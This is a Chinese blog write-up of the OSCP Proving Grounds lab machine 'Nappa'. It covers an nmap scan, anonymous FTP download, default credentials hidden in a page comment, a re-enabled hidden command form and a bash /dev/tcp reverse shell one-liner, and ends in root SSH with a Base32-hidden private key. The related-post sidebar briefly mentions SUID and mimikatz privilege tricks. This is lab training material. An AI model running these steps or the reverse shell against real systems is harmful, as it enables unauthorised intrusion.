OSCP - Proving Grounds - Nappa

最新推荐文章于 2024-09-27 18:33:27 发布
最新推荐文章于 2024-09-27 18:33:27 发布
阅读量534 收藏 4
点赞数 4
分类专栏： OSCP 文章标签： 网络安全 安全性测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/N61320/article/details/142419432
版权

主要知识点

观察

  • 对于web page source代码的观察，寻找有价值的信息，例如注释，资源来源等
  • 对于服务器环境变量的观察，.bashrc等，寻找有价值信息

具体步骤

执行nmap扫描,发现21端口的ftp服务支持匿名登陆，8080/28080端口安装了web应用，60022端口则为ssh服务.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 11:20 UTC
Nmap scan report for #remote_ip#
Host is up (0.00095s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
21/tcp    open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x   14 14       11           4096 Nov 06  2020 forum
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to #remote_ip#
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '#remote_ip#' is not allowed to connect to this MariaDB server
8080/tcp  open  http-proxy
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 3102
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8" />
|     <title>Action Controller: Exception caught</title>
|     <style>
|     body {
|     background-color: #FAFAFA;
|     color: #333;
|     margin: 0px;
|     body, p, ol, ul, td {
|     font-family: helvetica, verdana, arial, sans-serif;
|     font-size: 13px;
|     line-height: 18px;
|     font-size: 11px;
|     white-space: pre-wrap;
|     pre.box {
|     border: 1px solid #EEE;
|     padding: 10px;
|     margin: 0px;
|     width: 958px;
|     header {
|     color: #F0F0F0;
|     background: #C52F24;
|     padding: 0.5em 1.5em;
|     margin: 0.2em 0;
|     line-height: 1.1em;
|     font-size: 2em;
|     color: #C52F24;
|     line-height: 25px;
|     .details {
|_    bord
|_http-title: ForumOnRails
28080/tcp open  http       Apache httpd 2.4.46 ((Unix))
|_http-server-header: Apache/2.4.46 (Unix)
|_http-title: html5-goku-en-javascript
| http-methods: 
|_  Potentially risky methods: TRACE
60022/tcp open  ssh        OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   3072 76:61:5c:e1:8c:ca:14:e8:7a:63:ba:a3:46:9f:09:b3 (RSA)
|   256 e3:ed:fc:a8:10:d7:8e:b1:7c:de:a2:59:df:19:06:29 (ECDSA)
|_  256 e5:dd:dd:a7:e3:ac:5f:b9:2b:4b:d0:27:e3:3c:c2:43 (ED25519)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3306-TCP:V=7.94SVN%I=7%D=9/18%Time=66EAB792%P=x86_64-pc-linux-gnu%r
SF:(NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.49\.54'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");

下载FTP服务器的文件到本地，发现是一个ruby on rails 构建的web应用，搜索一下google，发现已经N多年没有人维护,粗略看一下，没有有趣的地方，也尝试用Gemfile中的ruby和rails版本搜索相关漏洞，得到的结果没有太多可利用的价值

wget -r --user="anonymous" --password="a" ftp://#remote_ip#

尝试创建一个用户来获得更多的信息，通过观察注册页面源码，发现有一段注释掉的默认密码

而注册后可以看到一个admin.forum发的贴子，点进去可以看到邮箱地址，组合起来就是登录所需要的用户名admin.forum@easysetting.com,而潜在的密码为 上图中注释掉的部分

尝试登录后，点击server status 按钮后，来到 serverinfo页面，观察源码后，发现一个注释掉的表单，看input name，也许可以执行服务器命令来建立reverse shell,

通过在web console编辑html页面，将上图中注释掉的部分复制到新的表单元素中，记得删除readonly属性

在本地启动nc -nlvp 9000监听，并在页面输入 bash -i >& /dev/tcp/#local_ip#/9000 0>&1 ,提交后得到reverse shell

通过观察 kathleen的.bashrc文件得到如下，其中最下面注释掉的部分很有意思，复制下来

利用CyberChef来尝试机密，尝试了Base64等编码后，发现是 Base32编码，得到一个私钥

尝试利用私钥+root用户 ssh到remote server上，成功

总体上讲，先后尝试了linpeas,pspy64,等工具去寻找突破口，都无果，都怪自己观察不够仔细，浪费了很多时间。

至于另一个端口，28080，则是一段动画，没有深入研究，不清楚是否是该靶机的另外一个解法

柴郡猫^O^
关注
专栏目录
OSCP-Challenge 1 - Medtech
羽的博客
03-14 3786
122靶机进入/home/mario/.ssh目录下，发现存在id_rsa，用这个逐个登录内网靶机，发现14的成功进入。现在我们通过代理可以扫描内网的其他机器了，扫了下10-14、83、83开放的端口基本差不多，发现都有5985。如果可以看到的话，那就简单了，直接覆盖成shell文件就可以了，然后等待反弹。登录后发现限制了命令的执行，但是help了一下，发现了哪些可以用的命令。咨询了一下是dns的问题，修改dns的ip位域的ip，也就是10的ip。接着上mimikatz来获取一些明文信息，但是失败了。
OSCP-Challenge 2 - Relia
羽的博客
03-14 2337
使用andrea:PasswordPassword_6登录远程桌面，在c盘根目录下发现一个计划任务的ps，文件，修改执行的exe位木马，获取到milana用户的反弹shell。，发现开放了一个8000端口，但是我们外部是访问不到的，它对应的页面是/var/www/internal/，这个目录下的文件我们是可以访问的，把这个文件打个包放到本地分析下。其中数据的可以直接连接mssql，但是端口是49965，不过在数据库中没发现什么可用的信息，但是可以修改密码直接进后台，这个可以先放放。
OSCP - Proving Grounds - Maria
最新发布
柴郡猫^O^
09-27 778
终于在其中发现了真的数据库用户名密码，下一步打算是破解mysql中的workdpress admin密码和wordpress的admin+file upload来构造reverse shell，但是事情好像没那么简单，获取的ID没有更新数据库的权限，无法通过更新密码来登录，john 破解也没有什么希望，看来需要继续探索其他方式.搜索一圈，可以在浏览器中访问如下link下载文件，可以尝试下载wp-config.php，尝试其中的db用户名密码配置，无效。上传theme并激活。
OSCP - Proving Grounds - Readys
柴郡猫^O^
09-18 972
在redis-cli中尝试对/var/www/html等路径进行set，save操作时，发现报错，需要寻找有其他有权限写入的路径,尝试继续利用LFI漏洞读取 更多的文件，发现 /etc/systemd/system/redis.service 中redis具备写权限的路径为/opt/redis-files/将/etc/passwd替换成 /var/www/html/wp-config.php ,/etc/shadow，/home/alice/.ssh/id_rsa等文件，全部失败，暂时放弃。
OSCP - Proving Grounds - Flu
柴郡猫^O^
09-25 239
上传linpeas.sh和pspy64到remote server,在linpeas.sh结果中发现 /opt/log-backup.sh比较可疑，但没找到对应的cron job（可能是我不够仔细），上传pspy64并运行后 发现，root会定期运行/opt/log-backup.sh。修改/opt/log-backup.sh为，当其被执行时，赋予/bin/bash SUID权限，过一会儿后，获得root权限。搜索一下发现该版本有RCE漏洞，详情请参考。，对应的PoC也有很多，有的不太好用，
OSCP - Proving Grounds - RubyDome
柴郡猫^O^
09-23 138
发现reverse shell已经建立,且可以执行 sudo /usr/bin/ruby /home/andrew/app/app.rb，并不需要密码验证。打开后，发现如下，看起来是个Ruby的HTML转PDF的页面，参数是url,输入http://google.com的话，会得到一张PDF。修改/home/andrew/app/app.rb文件，赋予/bin/bash SUID权限。下载后现在本地执行nc -nlvp 9000后再执行。执行如下代码片段后，发现root权限已经获得。
OSCP-Algernon（SmarterMail）
墨痕诉清风的博客
04-24 183
从前面的结果中，确实有.NET远程处理在端口17001上运行。因此，此漏洞应适用于目标计算机。下载了漏洞并编辑了以下部分以匹配我的IP并使用本地端口21。端口9998引导到一个SmarterMail的登录页面。设置监听，获得一个反弹shell。端口80重定向到默认IIS页。已经是system权限了。google搜索漏洞。
OSCP-Wheels
qq_69775412的博客
11-30 1106
OSCP是一个专门针对Kali Linux渗透测试培训课程的专业认证，官方提供了很多练习靶场，而Wheels就是其中一个。
OSCP-Bratarina（OpenSMTPD）
墨痕诉清风的博客
04-24 194
转到OpenSMTPd 2.0的端口25，searchsploit展示了一些远程代码执行的结果，包括Metasploit的一些结果。看到了一个很大的用户列表，但实际上只对那些拥有bash shell的用户感兴趣。为这些实体使用grep，并将这些用户添加到一个文本文件中，以备以后使用。有一个名为“passwd.bak”的文件，可以使用“get”命令在本地下载。端口80上的网页，看到一个名为FlaskBB的CMS。快速搜索一下，发现这里没有什么有趣的东西。用-q 标志靴子它，这样我们就不会得到响亮的垃圾横幅;
java红酒网站源码-OSCP-Survival:OSCP-生存
06-05
java网站源码OSCP-生存 这是一个克隆 这也可以查看 OSCP-生存指南 注意：本文档将目标 ip 称为导出变量 $ip。 要在命令行上设置此值，请使用以下语法： 出口ip=192.168.1.100 目录 卡利Linux 将目标 IP 地址设置为$...
java红酒网站源码-oscp-notes:oscp-notes
06-05
java网站源码OSCP - PWK（使用 Kali 进行渗透测试）注意事项 完成整个 OSCP 课程的完整 OSCP 笔记 目录 卡利Linux 将目标 IP 地址设置为$ip系统变量export ip=192.168.1.100 查找文件的位置locate sbd.exe 在$PATH...
java红酒网站源码-OSCP-Notes:OSCP-笔记
06-05
java网站源码OSCP-笔记 卡利Linux 将目标 IP 地址设置为$ip系统变量export ip=192.168.1.100 查找文件的位置locate sbd.exe 在$PATH环境变量中搜索目录which sbd 查找名称中包含特定字符串的文件的搜索： find / -...
javasnmp源码-OSCP-PWK-Notes-Public:OSCP-PWK-Notes-Public
06-04
OSCP 笔记 更加努力 欢迎 在卡利寻找自己的方式 查找、定位和哪个 定位 从由updatedb准备的数据库中读取 updatedb locate sdb.exe 哪一个 返回将在当前环境中执行的文件或链接的路径名。 它通过搜索 PATH 变量来做到...
java红酒网站源码-OSCP-PWK-Notes-Public:OSCP-PWK-Notes-Public
06-05
OSCP 笔记 更加努力 欢迎 在卡利寻找自己的方式 查找、定位和哪个 定位 从由updatedb准备的数据库中读取 updatedb locate sdb.exe 哪一个 返回将在当前环境中执行的文件或链接的路径名。 它通过搜索 PATH 变量来做到...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8471
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
CNAS软件检测实验室信息安全性测试作业指导书编写指南
daopuyun的博客
09-24 1399
首先分析确定要测试内容（身份鉴别、访问控制、数据安全、安全审计、漏洞扫描、接口安全、密码应用、抗抵赖性、个人信息保护、剩余信息保护、组件安全、业务安全、依从性），然后根据要测试内容，进一步分析系统所涉及到的敏感数据、关键功能处理逻辑、关键业务流程、数据接口等信息，为测试用例设计做准备。如身份鉴别类，人工检查系统登录模块，用户及口令相关配置，并进行登录等相关的操作，验证相关测试项是否符合预期的安全要求。如有类似密码找回的功能、有流程回退的业务流程、有验证码的功能操作、有数量限制的功能操作等。
yuelu-国庆主题资源《源代码》
09-26
yuelu-国庆主题资源《源代码》 yuelu-国庆主题资源
东软NetEye网络审计系统产品用户手册
09-26
东软NetEye网络审计系统产品用户手册
oscp 2023 challenge writeup-medtech-csdn博客
10-29
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中，作者详细讲解了一个名为MedTech的挑战项目，并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着，作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境，参与者需要在该环境中寻找漏洞、获取权限，最终控制主机，获取FLAG。 在解决这个挑战的过程中，作者详细介绍了使用的工具和技术。例如，他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤，以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术，如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中，作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱，并分享了如何避免它们的经验。 最后，作者总结了整个挑战的过程，并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性，并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解，而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值